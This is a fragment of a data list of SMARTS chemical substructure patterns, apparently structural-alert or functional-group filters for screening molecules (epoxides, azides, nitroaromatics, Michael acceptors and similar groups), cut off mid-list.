"[CH2,$([CH1][#6]),$([CX4]([#6])[#6])]([SX2][#6&!$([CX3]=[OX1,SX1,NX2])&!$(C#N)])[SX2,OX2][#6&!$([CX3]=[OX1,SX1,NX2])&!$(C#N)]", "[nR1]1[nR1][nR1][nR1][cR1]1", "c1([OH1])c([OH1])cccc1", "[$([!#6!#1]1~[!#6!#1]~[!#6!#1]~[#6]~[#6]~[#6]~1),$([!#6!#1]1~[!#6!#1]~[#6]~[!#6!#1]~[#6]~[#6]~1),$([!#6!#1]1~[#6]~[!#6!#1]~[#6]~[!#6!#1]~[#6]~1)]", "[!#1&!#6][F,Cl,Br,I]", "[$(C1OC1)]", "[CX3](=[OX1])CC[F,Cl,Br,I]", "[$([NX3H2]-[#7]),$([NX3H2]-[#8]),$([OX2H1]-[#7]),$([OX2H1]-[#8])]", "[$([#1,#6][CX3](=[SX1])[OX2,SX2][#6&!$([CX3]=[OX1,SX1,NX2])]),$([#1,#6][CX3](=[OX1])[SX2][#6&!$([CX3]=[OX1,SX1,NX2])])]", "[$([#16X4](=[OX1])(=[OX1])([a])[OX2H,OX1H0-]),$([#16X4+2]([OX1-])([OX1-])([a])[OX2H,OX1H0-])]", "[#1,#6][NX3]([#1,#6])[CX3](=[SX1])[#7]", "[#1,#6][CX3](=[SX1])[NX3]([#1,#6])[#1,#6]", "N[CX3](=[SX1])S", "[$([CX4][OH1])&!$(C([OH1])[#7,#8,#15,#16,F,Cl,Br,I])]", "[#6][#6](=[#7,#8,#15,#16])[#6](=[#7,#8,#15,#16])[#6,Sv6]", "[a]", "[#1,#6][CX3](=[OX1])[NX3H2]", "[$(c1c([OX2][CX4])c([OH1])ccc1),$(c1c([OX2][CX4])ccc([OH1])c1)]", "[#6][SX2][SX2][#6]", "[OR1]1[CR1][CR1]=[CR1][CR1]1", "[CH2,$([CH1][#6]),$([CX4]([#6])[#6])]([OX2][#6&!$([CX3]=[OX1,SX1,NX2])])[OX2][#6&!$([CX3]=[OX1,SX1,NX2])]", "aF", "[NX3]([$([#1]),$([CX4]),$([a])])([$([CX4!H0]),$([CX4][OH]),$([CX3]=[OX1])])[NX3]([$([#1]),$([CX4]),$([a])])[$([#1]),$([CX4]),$([a])]", "[CX4]([OH1])([#6])([#6])[#6]", "[NX2]=O", "[a][$([NX3+](=[OX1])[O-]),$([NX3](=[OX1])=[OX1]);!$([NX3]aa-[$(C(F)(F)F),$(S(=O)(=O)[OH]),$(S(=O)(=O)[NX3]([#1,#6])[#1,#6]),$(S(=O)(=O)[a]),$([CX4]([CH3])([CH3])[CH3])]);!$([NX3]aaa-[$(C(F)(F)F),$(S(=O)(=O)[OH]),$(S(=O)(=O)[NX3]([#1,#6])[#1,#6]),$(S(=O)(=O)[a])]);!$([NX3]aaaa-[$(C(F)(F)F),$(S(=O)(=O)[OH]),$(S(=O)(=O)[NX3]([#1,#6])[#1,#6]),$(S(=O)(=O)[a])])]", "[!#6!#1;R1]1-[#6R1]-[#6R1]-[#6R1]-1", "[!#1!#6]C~C[!#1!#6]C~C[!#1!#6]C~C[!#1!#6]C~C[!#1!#6]C~C[!#1!#6]C~C", "c1([F,Cl,Br,I,$(N(=O)=O)])ncncc1", "[$([CH2]),$([CH][#6])]=[CH,$(C[#6])]S(=O)(=O)[#6]", "[#6,#1][CX3](=[OX1])[SX2][#6]", "[#1,#6][CX3]([#1,#6])=[NX2][NX3]([#1,#6&!$([CX3]=[OX1,SX1,NX2])])[CX3](=[OX1])[NX3]([#1,#6&!$([CX3]=[OX1,SX1,NX2])])[#1,#6&!$([CX3]=[OX1,SX1,NX2])]", "[NX3H1,SX2,OX2]1[CX4][CX4]1", "[$([$([CH2]),$([CH][#6])]=[CH,$(C[#6])]C(=O)[#6]);!$([#6X3]1=,:[#6X3H][CX3](=[OX1])[#6X3]=,:[#6X3][#6X3]1(=[OX1]));!$([CX3]1(=[OX1])[CX3](=[OX1])[#6X3]=,:[#6X3H][#6X3]=,:[#6X3]1)]", "[C;!r5]([C;!r5])=[C;!r5][C;!r5](C)=[OX1,SX1;!r5]", "[CH2][Cl,Br,I,$(O(S(=O)(=O)[!$(N);!$([O&D1])]))]", "[CH2,CH]=[CH][$(N(=[OX1])=[OX1]),$(C=O),$(C#N),$(S=O),$(C(=O)N),$(a)]", "[OH1]c1cc([OX2][CX4])ccc1", "[$([a!c]1[a!c][a!c]ccc1),$([a!c]1[a!c]c[a!c]cc1),$([a!c]1c[a!c]c[a!c]c1)]", "[CX3H1](=[OX1])[NX3H1][#6]", "[$([!#6!#1;R1]1[!#6!#1;R1][CR1][CR1][CR1][CR1]1),$([!#6!#1;R1]1[CR1][!#6!#1;R1][CR1][CR1][CR1]1),$([!#6!#1;R1]1[CR1][CR1][!#6!#1;R1][CR1][CR1]1)]", "P~S", "[CH3,$([CH2]([F,Cl,Br,I])[#6]),$([CH]([F,Br,Cl,I])([#6])[#6]);!$([CH2,CH]C=O);!$([CH2,CH][CX4][NX3,SX2]);!$([CH2,CH][CX4][F,Cl,Br,I])][F,Cl,Br,I]", "[CH2,$([CH1][#6]),$([CX4]([#6])[#6])]([OH1])[OX2][#6&!$([CX3]=[OX1,SX1,NX2])]", "[#6&!$([CX4]([SX2])([#7,O,S,F,Cl,Br,I,P]))&!$([CX3]([SX2])=[OX1,SX1,NX2,C])&!$([#6][SX2]C#N)][SX2][#6&!$([CX4]([SX2])([#7,O,S,F,Cl,Br,I,P]))&!$([CX3]([SX2])=[OX1,SX1,NX2,C])&!$([#6][SX2]C#N)]", "[$([OR1]1[CR1]=[CR1][CR1][CR1]1),$([OR1]1[CR1][CR1]=[CR1][CR1]1)]", "[#6]1([#6](~[!#1!#6]~[#6][!#1!#6][#6]1=[!#1!#6])~[!#1!#6])=[#6!R!H0]", "[F,Cl,Br,I][#6][CX3](=[OX1])[OX2H1]", "[Pv5X4](=[OX1])([OX2])([OX2])[#6]", "[$([#6][CH2][OH1]),$([CH3][OH1])]", "[#6][CX3](!@N)=[CX3][#6]", "[oR1]1[nR1][cR1][cR1][nR1]1", "[CX4,a][CX3](=[OX1])[CX4,a]", "[CH;!$(C=C)][Cl,Br,I,$(O(S(=O)(=O)[!$(N);!$([O&D1])]))]", "[CH2][NH2]", "[Si]", "[#1,#6][CX3](=[OX1])[NX3][OH1]", "[NX4+]([CX4])([CX4])([CX4])([CX4])", "[a][$([NX3;H1][CH3]),$([NX3;H1][CH2][CH3]),$([NX3]([CH3])[CH3]),$([NX3]([CH3])[CH2][CH3]),$([NX3]([CH2][CH3])[CH2][CH3]);!$([NX3]a(a-[!#1])a-[!#1]);!$([NX3]aa-C(=[OX1])[OH]);!$([NX3]aa-[Sv6X4](=[OX1])(=[OX1])[OH]);!$([NX3]aaa-[Sv6X4](=[OX1])(=[OX1])[OH]);!$([NX3]aaaa-[Sv6X4](=[OX1])(=[OX1])[OH])]", "[$([NR1]1[NR1][CR1][CR1][CR1]1),$([NR1]1[CR1][NR1][CR1][CR1]1)]", "[#6,#1][CX3]([H])=[OX1]", "[!#1!#6!#7!#8!#16!#15!#9!#17!#35!#53]", "[a!#6]1[a!#6][a!#6][a!#6]c1", "[F,Cl,Br,I][#6][CX3](=[OX1])[NX3]", "[#16][#16]", "C([F,Cl,Br,I])[CH2,CH][a]", "[CX3](=[SX1])[SX2]", "P=[S,#6]", "Br[CX3]=[CX3]", "c1ccc[nv3X2]c1[#6](~[#7])~[#7]", "[#6]1(=[OX1])-,:[#6]=,:[#6]-,:[#6](=[OX1])-,:[#6]=,:[#6]1", "[OR1]1[CR1][CR1][CR1][CR1]1", "[$([a][NX2]=[NX2]c1c([$([NH2]),$([NX3H1][CX4]),$([NX3]([CX4])[CX4]),$([NX3H1][CX3](=[OX1])[CH3]),$([NX3H1][CX3](=[OX1])[CX4]),$([OH]),$([O-]),$([OX2][CX4]),$([CH3]),$([CH2][CH3]),$([CH]=[CH2])])cccc1),$([a][NX2]=[NX2]c1ccc([$([NH2]),$([NX3H1][CX4]),$([NX3]([CX4])[CX4]),$([NX3H1][CX3](=[OX1])[CH3]),$([NX3H1][CX3](=[OX1])[CX4]),$([OH]),$([O-]),$([OX2][CX4]),$([CH3]),$([CH2][CH3]),$([CH]=[CH2])])cc1),$([a][NX2]=[NX2]c1c([$([NH2]),$([NX3H1][CX4]),$([NX3]([CX4])[CX4]),$([NX3H1][CX3](=[OX1])[CH3]),$([NX3H1][CX3](=[OX1])[CX4]),$([OH]),$([O-]),$([OX2][CX4]),$([CH3]),$([CH2][CH3]),$([CH]=[CH2])])cc([$([NH2]),$([NX3H1][CX4]),$([NX3]([CX4])[CX4]),$([NX3H1][CX3](=[OX1])[CH3]),$([NX3H1][CX3](=[OX1])[CX4]),$([OH]),$([O-]),$([OX2][CX4]),$([CH3]),$([CH2][CH3]),$([CH]=[CH2])])cc1),$([a][NX2]=[NX2]c1c([$([NH2]),$([NX3H1][CX4]),$([NX3]([CX4])[CX4]),$([NX3H1][CX3](=[OX1])[CH3]),$([NX3H1][CX3](=[OX1])[CX4]),$([OH]),$([O-]),$([OX2][CX4]),$([CH3]),$([CH2][CH3]),$([CH]=[CH2])])cc([$([NH2]),$([NX3H1][CX4]),$([NX3]([CX4])[CX4]),$([NX3H1][CX3](=[OX1])[CH3]),$([NX3H1][CX3](=[OX1])[CX4]),$([OH]),$([O-]),$([OX2][CX4]),$([CH3]),$([CH2][CH3]),$([CH]=[CH2])])cc1[$([NH2]),$([NX3H1][CX4]),$([NX3]([CX4])[CX4]),$([NX3H1][CX3](=[OX1])[CH3]),$([NX3H1][CX3](=[OX1])[CX4]),$([OH]),$([O-]),$([OX2][CX4]),$([CH3]),$([CH2][CH3]),$([CH]=[CH2])])]", "C[O;D1].C[O;D1].C[O;D1].C[O;D1].C[O;D1].C[O;D1].C[O;D1]", "C1C4CC9CC1CC(C4)C9", "[$([NX3H2][#7]),$([NX3H2][#8]),$([OX2H1][#7]),$([OX2H1][#8]);!$([NH2][#7][$([OX2]-[OX2][#6]),$([NX3]([!#1])[NX3]([!#1]))]);!$([NH2][#8][$([OX2]-[OX2][#6]),$([NX3]([!#1])[NX3]([!#1]))]);!$([OH1][#7][$([OX2]-[OX2][#6]),$([NX3]([!#1])[NX3]([!#1]))]);!$([OH1][#8][$([OX2]-[OX2][#6]),$([NX3]([!#1])[NX3]([!#1]))]);!$([OH1][NX3H1][a])]", "[!#6!#1]1~*~*~*~1", "[$([a!#6;R1]1[a!#6;R1][cR1][cR1][cR1]1),$([a!#6;R1]1[cR1][a!#6;R1][cR1][cR1]1)]", "NOT [!#6!#1!#7] AND [$([NX3H1](C)C),$([NX3](C)(C)C)]", "[$(n1c([F,Cl])ncnc1),$(n1c([F,Cl])ccnc1),$(n1c([F,Cl])nccc1)]", "[NX2]=[OX1]", "[#6]C(=[O,SX1])[O,SX2][CH2,$([CH]([O,SX2])[#6])][c,CX3,CX2]", "[$(N#[N+]-[N-]),$([N-]=[N+]=N)]", "CC(=[OX1])C(=[OX1])[#6,#7]", "[CX3!H0!R]=[CX3!R][CX2]#[NX1]", "[!#6!#1;R1]1~[#6R1]~[#6R1]~[#6R1]~[#6R1]~[#6R1]~1", "c1c([OH,NH2,NH])ccc([OH,NH2,NH,$(N=N),$(N(C)C)])c1", "[#6][NX2]=[NX2][#6]", "[CX3!H0!R]=[CX3!R][CX3]=[OX1]", "[CX4&!$([CX4]([SX2])([#7,O,S,F,Cl,Br,I,P]))][SX2][CX4&!$([CX4]([SX2])([#7,O,S,F,Cl,Br,I,P]))]", "[nR1]1[cR1][cR1][nR1][cR1][cR1]1", "[#6][CX2]#[CX2][#1,#6]", "[CX3]([#1,#6])([#1,#6])=[CX3]([SX2][#6&!$([CX3]([OX2])=[OX1,SX1,NX2,C])])[#1,#6]", "C1CC(=O)NC(=O)C1", "[!#6!#1!#7!#8!#9!#17!#35!#53!#15!#14!#16]", "[$([!#6!#1]1[!#6!#1]CCCC1),$([!#6!#1]1C[!#6!#1]CCC1),$([!#6!#1]1CC[!#6!#1]CC1)]", "[!C;!c;!H][F,Cl,Br,I]", "[CX4]([OH1])([#1,#6])([#1,#6])[CX4]([OH1])([#1,#6])([#1,#6])", "[$([#6X3]1=,:[#6X3]-,:[#6X3](=[OX1])[#6X3]=,:[#6X3]-,:[#6X3]1(=[OX1])),$([#6X3]1(=[OX1])-,:[#6X3](=[OX1])-,:[#6X3]=,:[#6X3]-,:[#6X3]=,:[#6X3]1)]", "[N!R][N!R]", "c1ccc(c(c1)[#8!H0])[#6]=[#7][#7]", "[NX3][CX3](=[OX1])[OX2]", "[!$(C=C);!$(C#C)]C(=[O,SX1,N])[O,S,N]C(=[O,SX1,N])", "[CX4]N([C!H0])c1[cH][cH]c([$([C!H0!H1]),$([C!H0][C!H0])])[cH][cH]1", "[$([$([aR3]),$([$([aR2]([aR])([aR])([aR]))].[$([aR2]([aR])([aR])([aR]))].[$([aR2]([aR])([aR])([aR]))].[$([aR2]([aR])([aR])([aR]))])]);!$([cR1H1]1[cR1H1][cR1][cR1][cR2]2[cR2]1[cR2]3[cR2]([cR1][cR1]2)[cR1][cR1][cR1H1][cR1H1]3);!$([cR1]1[cR1][cR1][cR1H1][cR2]2[cR2]1[cR2]3c([cR1H1][cR1H1]2)[cR1H1][cR1][cR1][cR1]3)]", "SS", "[CX3]([CX4,#1])([F,Cl,Br,I])=[CX3]([CX4,#1])[!F!Cl!Br!I]", "[N]=[N;!R]-[N]", "[NH2]c1ncnc2c1nc[nX3]2", "C1(=[OX1])C=CC(=[OX1])[NX3]1", "[C;!$(C-N)](=O)n1n[c;H1,$(c([*;!R]))][c;H1,$(c([*;!R]))][c;H1,$(c([*;!R]))]1", "[OX1]=[Pv5X4]([#6])([!#6])[!#6]", "[a][NX3H2]", "[CH2,CF2;R0][CH2,CF2;R0][CH2,CF2;R0][CH2,CF2;R0][CH2,CF2;R0][CH2,CF2;R0][CH2,CF2;R0][CH2,CF2;R0]", "[#6][Sv6X4](=[OX1])(=[OX1])[OX2][#6]", "[CX3]([H])(=[OX1])[#1,CX4,a]", "[*][#16X2][#16X2][*]", "[$([C;!R]([C])([C])[C])] AND [#6][F,Cl,Br,I]", "[C;X4](-[Cl,Br,I,$(O(S(=O)(=O)[!$(N);!$([O&D1])]))])(-[c,C])(-[c,C])(-[c,C])", "[$([CH2]),$([CH][#6])]=[CH,$(C[#6])]C#N", "[oR1]1[cR1][nR1][nR1][cR1]1", "[NR1]1[CR1][NR1][CR1][CR1]1", "[CX3]([#1,#6])([#1,#6])=[NX2][#7X3]([#1,#6&!$([CX3]=[OX1,SX1,NX2])])[#1,#6&!$([CX3]=[OX1,SX1,NX2])]", "[$([SR1]1[CR1]=[CR1][CR1][CR1]1),$([SR1]1[CR1][CR1]=[CR1][CR1]1)]", "[OH1]c1cc([OH1])ccc1", "[CX4]1[OX2,NX3][CX4]1", "[CX4]1[OX2,NX3][CX4]1", "[$(c([OH1])c([OH1])),$(c([OH1])[aR1]c([OH1])),$(c1([OH1])aac([OH1])aa1)]", "[O,N,S;!$(S~O)]!@[CH2]!@[O,S,N;!$(S~O)]", "[CX3]=[SX1!R]", "[#6][CX3](=O)[$([OX2H0]([#6])[#6])]", "c1([F,Cl,Br,I])n[c,n][c,n][c,n][c,n]1", "[$([$([*R2]([*R])([*R])([*R]))].[$([*R2]([*R])([*R])([*R]))].[$([*R2]([*R])([*R])([*R]))].[$([*R2]([*R])([*R])([*R]))].[$([*R2]([*R])([*R])([*R]))].[$([*R2]([*R])([*R])([*R]))]),$([$([*R3]([*R3])([*R2,R3])([*R2,R3]))].[$([*R3]([*R3])([*R2,R3])([*R2,R3]))]),$([$([*R2,R3]([*R3])([*R])([*R]))].[$([*R2,R3]([*R3])([*R])([*R]))].[$([*R3]([*R2,R3])([*R2,R3])([*R2,R3]))].[$([*R2,R3]([*R3])([*R2,R3])([*R]))].[$([*R2,R3]([*R2,R3])([*R2,R3])([*R]))].[$([*R2,R3]([*R2,R3])([*R])([*R]))]),$([$([*R2,R3]([*R3])([*R])([*R]))].[$([*R3]([*R2,R3])([*R2,R3])([*R2,R3]))].[$([*R2,R3]([*R3])([*R])([*R]))].[$([*R2,R3]([*R3])([*R2,R3])([*R]))].[$([*R2,R3]([*R2,R3])([*R2,R3])([*R]))].[$([*R2,R3]([*R2,R3])([*R])([*R]))])]", "[$([*]C(F)(F)F)]", "C(C)(C)=CC=[OX1,SX1]", "[$([NR1]1=[CR1][CR1]-,=[CR1]-,=[CR1][CR1]1),$([NR1]1[CR1]=[CR1][CR1][CR1]-,=[CR1]-,=1),$([NR1]1[CR1]=[CR1][CR1]=[CR1][CR1]1)]", "[$(c1([OH1])c([OH1])cccc1),$(c1([OH1])ccc([OH1])cc1)]", "[CX4]1[CX4][OX2]1", "N[Sv6X4](=[OX1])(=[OX1])N", "[OH1][NX3][#6]", "[NX3]([C,#1])([C,#1])[CX3](=[OX1,Sv2X1])[OX2,Sv2X2]C", "[CX4][F,Cl,Br,I]", "[CX3]=[CX3][$([NX3](=[OX1])=[OX1]),$([NX3+](=[OX1])[O-])]", "[$([F,Cl,Br,I]c1c([$([NX3](=[OX1])=[OX1]),$([NX3+](=[OX1])[O-])])cccc1),$([F,Cl,Br,I]c1cc([$([NX3](=[OX1])=[OX1]),$([NX3+](=[OX1])[O-])])ccc1),$([F,Cl,Br,I]c1ccc([$([NX3](=[OX1])=[OX1]),$([NX3+](=[OX1])[O-])])cc1)]", "[a][$([NX3+](=[OX1])[O-]),$([NX3](=[OX1])=[OX1]);!$([NX3]a(a-[!#1])a-[!#1]);!$([NX3]aa-C(=[OX1])[OH]);!$([NX3]aa-[Sv6X4](=[OX1])(=[OX1])[OH]);!$([NX3]aaa-[Sv6X4](=[OX1])(=[OX1])[OH]);!$([NX3]aaaa-[Sv6X4](=[OX1])(=[OX1])[OH])]", "[$([!#1!#6;R1]1=[CR1]~[CR1]~[CR1]~[CR1]~[CR1]~1),$([!#1!#6;R1]1~[CR1]=[CR1]~[CR1]~[CR1]~[CR1]~1),$([!#1!#6;R1]1~[CR1]~[CR1]=[CR1]~[CR1]~[CR1]~1);!$([a!c]1ccccc1)]", "C1(=C)C(N=CS1)=O", "[$([#1,#6][CX3](=[SX1])[!#1!#6]),$([#1,#6][CX3](=[OX1])[SX2])]", "[cR1]1[cR1][cR1][cR1][cR2]2[nR1][cR1][cR1][cR2]12", "c[SX2&!$([SX2r3])]c", "[$(P(=[OX1])([OX2][#6])([$([OX2H]),$([OX1-]),$([OX2][#6])])[$([OX2H]),$([OX1-]),$([OX2][#6]),$([OX2]P)]),$([P+]([OX1-])([OX2][#6])([$([OX2H]),$([OX1-]),$([OX2][#6])])[$([OX2H]),$([OX1-]),$([OX2][#6]),$([OX2]P)])]", "[$([!#1!#6]1=C~C~C~C~C~1),$([!#1!#6]1~C=C~C~C~C~1),$([!#1!#6]1~C~C=C~C~C~1);!$([a!c]1ccccc1)]", "[CX3](=[OX1])[CX3H1]=[CX3]", "[OH]c1cccc2ccccc12", "[$([NX3](=[OX1])=[OX1]),$([NX3+](=[OX1])[O-])]cc[F,Cl,Br]", "[$([NR1]1=[NR1][CR1][CR1][CR1][CR1]1),$([NR1]1[NR1]=[CR1][CR1][CR1][CR1]1),$([NR1]1[NR1][CR1]=[CR1][CR1][CR1]1),$([NR1]1[NR1][CR1][CR1]=[CR1][CR1]1),$([NR1]1=[CR1][CR1][NR1][CR1][CR1]1),$([NR1]1[CR1]=[CR1][NR1][CR1][CR1]1),$([NR1]1=[CR1][NR1][CR1][CR1][CR1]1),$([NR1]1[CR1][NR1]=[CR1][CR1][CR1]1),$([NR1]1[CR1][NR1][CR1]=[CR1][CR1]1)]", "[NX3]([C,#1])([C,#1])[CX3](=[OX1,Sv2X1])[OX2,Sv2X2]C", "[oR1]1[cR1][cR1][cR1][cR1]1", "[O-][N+]1=CC=CC=C1", "[!$(C=C);!$(C#C)]C(=[O,S,N])[O,S][$(C=C),$(C=N),$(C#C),$(C#N)]", "[#6]P(=O)O[#6]", "[$(C1(=O)[#6]=,:[#6]C(=O)[CH]=C1),$(C1(=O)C(=O)[#6]=,:[#6][CH]=C1)]", "[OH1][CX4H1]([#6])[#6]", "[OH1][CX3](=[OX1])[CX3]=[CX3]", "[$([#6X3]1=,:[#6X3]-,:[#6X3](=[OX1])-,:[#6X3]=,:[#6X3]-,:[#6X3]1(=[OX1])),$([#6X3]1(=[OX1])-,:[#6X3](=[OX1])-,:[#6X3]=,:[#6X3]-,:[#6X3]=,:[#6X3]1)]", "[!c][C!H0]=CC=O", "[#6]=[#6][CX3](=[OX1])([!#1!$([OH1])])", "[$([!#6!#1;R1]1~[!#6!#1]~[#6R1]~[#6R1]~[#6R1]~[#6R1]~1),$([!#6!#1;R1]1~[#6R1]~[!#6!#1]~[#6R1]~[#6R1]~[#6R1]~1),$([!#6!#1;R1]1~[#6R1]~[#6R1]~[!#6!#1]~[#6R1]~[#6R1]~1)]", "[#6&!$([CX3]=[OX1,SX1,NX2])][SH]", "[Sv6X4](=[OX1])(=[OX1])([#8])[#6,#8]", "[#6][Sv6X4](=[OX1])(=[OX1])[OH1,O-]", "[#7,#8,#15,#16]~C1~[#7,#8,#15,#16]~C[#7,#8,#15,#16][CX3](=[#7,#8,#15,#16])[CX3]1(=[C!H0])", "[$([CH]=[O,SX1]),$(C([#6])=[O,SX1])][CH2,$([CH](C=[O,SX1])[#6])][F,Cl,Br,I]", "[#1,#6][CX3](=[OX1])[OX2][#6&!$([CX3]=[OX1,SX1,NX2])]", "[!#6!#1]1~*~*~1", "[$([NX2!R]=[NX2!R][NX3!R]),$([NX2]=[NX2+]=[NX1-]),$([NX2]=[NX2+]=N)]", "[#1,#6][CX3](=[NX2][#1,#6&!$([CX3]=[OX1,SX1,NX2])])[#1,#6]", "[NR1]1=[CR1][NR1][CR1][CR1]1", "aCl", "[cR1]1([OX2][CX3](=[OX1])[#6])[cR1][cR1][cR1][cR1][cR1]1", "[SR1]1[CR1][CR1][CR1][CR1]1", "[$([!#6!#1;R1]1=[CR1][CR1][CR1][CR1]1),$([!#6!#1;R1]1[CR1]=[CR1][CR1][CR1]1),$([!#6!#1;R1]1[CR1][CR1]=[CR1][CR1]1),$([!#6!#1;R1]1=[CR1][CR1]=[CR1][CR1]1);!$(n1cccc1)]", "NOT [!#6!#1!#8] AND [CX4][CX3](=[OX1])[CX4]", "[CX3](=[OX1])[CX4]([#1,CX4])([#1,CX4])[CX3](=[OX1])", "[CX4,a][NX3H1][CX4][CX4][NX3H1][CX4,a]", "[#6]S(=O)(=O)O[#6]", "[$([!#6!#1]1~[!#6!#1]~[#6]~[#6]~[#6]~[#6]~1),$([!#6!#1]1~[#6]~[!#6!#1]~[#6]~[#6]~[#6]~1),$([!#6!#1]1~[#6]~[#6]~[!#6!#1]~[#6]~[#6]~1)]", "c[N;!R;!+]=[N;!R;!+]-c", "[$([CX3]([#6,$([NX3]([CX3]=[OX1])([#6])[#6]),$([OX2]([CX3]=[OX1])[#6]);!$([OH][CX3]=[OX1]);!$([O-][CX3]=[OX1])])(=[OX1])[CX3]([#6,#1])=[CX3]([!a])([!a])),$([CX3H1](=[OX1])[CX3]([#6,#1])=[CX3])]", "N(~[OD1])~[OD1].N(~[OD1])~[OD1][NR1]1[CR1][CR1][OR1][CR1][CR1]1", "[$([NX2]([a])=[NX2][a]);!$([NX2](aaS(=O)(=O)[OH])=[NX2]aaS(=O)(=O)[OH]);!$([NX2](aaS(=O)(=O)[OH])=[NX2]aaaS(=O)(=O)[OH]);!$([NX2](aaaS(=O)(=O)[OH])=[NX2]aaS(=O)(=O)[OH]);!$([NX2](aaS(=O)(=O)[OH])=[NX2]aaaaS(=O)(=O)[OH])!$([NX2](aaaaS(=O)(=O)[OH])=[NX2]aaS(=O)(=O)[OH]);!$([NX2](aaaS(=O)(=O)[OH])=[NX2]aaaS(=O)(=O)[OH]);!$([NX2](aaaS(=O)(=O)[OH])=[NX2]aaaaS(=O)(=O)[OH]);!$([NX2](aaaaS(=O)(=O)[OH])=[NX2]aaaS(=O)(=O)[OH]);!$([NX2](aaaaS(=O)(=O)[OH])=[NX2]aaaaS(=O)(=O)[OH])]", "[#1,#6][CX3]([#1,#6])=[NX2][NX3]([#1,#6&!$([CX3]=[OX1,SX1,NX2])])[CX3](=[SX1])[NX3]([#1,#6&!$([CX3]=[OX1,SX1,NX2])])[#1,#6&!$([CX3]=[OX1,SX1,NX2])]", "[$(c([F,Cl,Br,I])c[$([NX3](=[OX1])=[OX1]),$([NX3+](=[OX1])[O-])]),$(c([F,Cl,Br,I])aac[$([NX3](=[OX1])=[OX1]),$([NX3+](=[OX1])[O-])]),$(c([F,Cl,Br,I])n),$(c([F,Cl,Br,I])aan)]", "NOT [!#1!#6!#7!#8!#16!F!Cl!Br] AND [#6;!$(C(=O)[OX2])][OX2][CX4][F,Cl,Br]", "[CX4]1[OX2][CX4]1", "[NX3]([#1,#6&!$([CX3]=[O,S,N,C])&!$([#6]([NX3])[N,O,S,P])&!$(C([NX3])#N)])([#1,#6&!$([CX3]=[O,S,N,C])&!$([#6]([NX3])[N,O,S,P])&!$(C([NX3])#N)])[#1,#6&!$([CX3]=[O,S,N,C])&!$([#6]([NX3])[N,O,S,P])&!$(C([NX3])#N)]", "N1C(=S)SC(=C)C1=O", "[#6][CX3]=[NX2][#6]", "[$([#7+R][OX1-!R]),$([#7v5R]=[OX1!R]);!$([#7](~[O])~[O]);!$([#7]=[#7])]", "[$([#6][CHR0]=[NR0]),$([#6][CR0]([#6])=[NR0])]", "C(F)(F)(F)C(=O)O", "[#6+,#17+,#53+,#15+,#16+]", "[CX3](=[OX1])([#8])[CX3]=[CX3]", "[NX3H1]([c,CX4&!$([CX4]([NX3H1])[O,S,N,P])])[c,CX4&!$([CX4]([NX3H1])[O,S,N,P])]", "c1ccc(c(c1)[OH])[OH]", "[$([OX1-,OH1][#7X4+]([*])([*])([*])),$([OX1]=[#7X4v5]([*])([*])([*])),$([OX1]=[Nv5X3&!$([Nv5X3](=[OX1])=[OX1])](=[*])([*])),$([OX1-,OH1][#7X3+R](~[R])(~[R])),$([OX1]=[#7v5X3R](~[R])(~[R]))]", "[a][$([NX3+](=[OX1])([O-])),$([NX3](=O)=O)]", "[CX4]Br AND NOT [$([CX4](Br)[CX3]=[CX3]),$([CX4](Br)[CX2]#[CX2]),$([CX4](Br)a)]", "[$(c1([OH,$(O[CH3])])c[cH]c([OH,$(O[CH3])])cc1),$(c1([OH,$(O[CH3])])c([OH,$(O[CH3])])cc[cH]c1)]", "[$([CX4,a][Pv5X4](=[OX1])([OX2][$([CH3]),$([CH2][CH3])])[OX2][$([CH3]),$([CH2][CH3])]),$([CX4,#1][OX2][Pv5X4](=[OX1])([OX2][CX4,#1])[OX2][$([CH3]),$([CH2][CH3])])]", "[OH1]aa[OH1]", "c1ccccc1[NX3]([#1,CX4!R,$(c1ccccc1),$([CX3](=[OX1])[#6]),$([CX3](=[OX1])[OX2][#6]),$([SX4](=[OX1])(=[OX1])[#1,#6])])[#1,CX4!R,$(c1ccccc1),$([CX3](=[OX1])[#6]),$([CX3](=[OX1])[OX2][#6]),$([SX4](=[OX1])(=[OX1])[#1,#6])]", "[$([!#6!#1;R1]1[!#6!#1;R1][!#6!#1;R1][CR1][CR1][CR1]1),$([!#6!#1;R1]1[!#6!#1;R1][CR1][!#6!#1;R1][CR1][CR1]1),$([!#6!#1;R1]1[CR1][!#6!#1;R1][CR1][!#6!#1;R1][CR1]1)]", "[#6]1C(=[O,S])[O,N,S][#6]1", "[NX2]=[NX2]", "[$(n1c([Cl,Br,I,F])cccc1),$(n1cccc([Cl,Br,I,F])cc1)]", "[$([!#6!#1]1=[!#6!#1]~[#6]~[#6]~[#6]~[#6]~1),$([!#6!#1]1~[!#6!#1]=[#6]~[#6]~[#6]~[#6]~1),$([!#6!#1]1~[!#6!#1]~[#6]=[#6]~[#6]~[#6]~1),$([!#6!#1]1~[!#6!#1]~[#6]~[#6]=[#6]~[#6]~1),$([!#6!#1]1~[#6]~[!#6!#1]~[#6]~[#6]~[#6]=1),$([!#6!#1]1=[#6]~[!#6!#1]~[#6]~[#6]~[#6]~1),$([!#6!#1]1~[#6]~[!#6!#1]~[#6]~[#6]=[#6]~1),$([!#6!#1]1=[#6]~[#6]~[!#6!#1]~[#6]~[#6]~1),$([!#6!#1]1~[#6]=[#6]~[!#6!#1]~[#6]~[#6]~1);!$([a!c]1[a!c]cccc1);!$([a!c]1c[a!c]ccc1);!$([a!c]1cc[a!c]cc1)]", "[NX3]([#1,*])([#1,*])[CX3](=[OX1])[!#1!#6!#16!$([Pv5])]", "[$([NX2]=[NX2+]=[NX1-]),$(N=[NX2+]=N),$([NX2-]-[NX2+]#[NX1])]", "[a!#6]", "NOT [!#1!#6!#7!#8!#16!F!Cl!Br] AND [NX3H1][NX3H1]", "[#6][NX3;!$([NX3](=[OX1])=[OX1]);!$([NX3+](=[OX1])[O-])][NX3;!$([NX3](=[OX1])=[OX1]);!$([NX3+](=[OX1])[O-])]", "[N,n;H0;+;!$(N~O);!$(n~O)].[N,n;H0;+;!$(N~O);!$(n~O)]", "[$([!#6!#1;R1]1=[!#6!#1;R1][CR1]-,=[CR1][CR1]1),$([!#6!#1;R1]1[!#6!#1;R1]=[CR1][CR1][CR1]1),$([!#6!#1;R1]1[!#6!#1;R1][CR1]=[CR1][CR1]1),$([!#6!#1;R1]1=[CR1][!#6!#1;R1]-,=[CR1][CR1]1),$([!#6!#1;R1]1[CR1][!#6!#1;R1][CR1][CR1]=1),$([!#6!#1;R1]1[CR1][!#6!#1;R1][CR1]=[CR1]1)]", 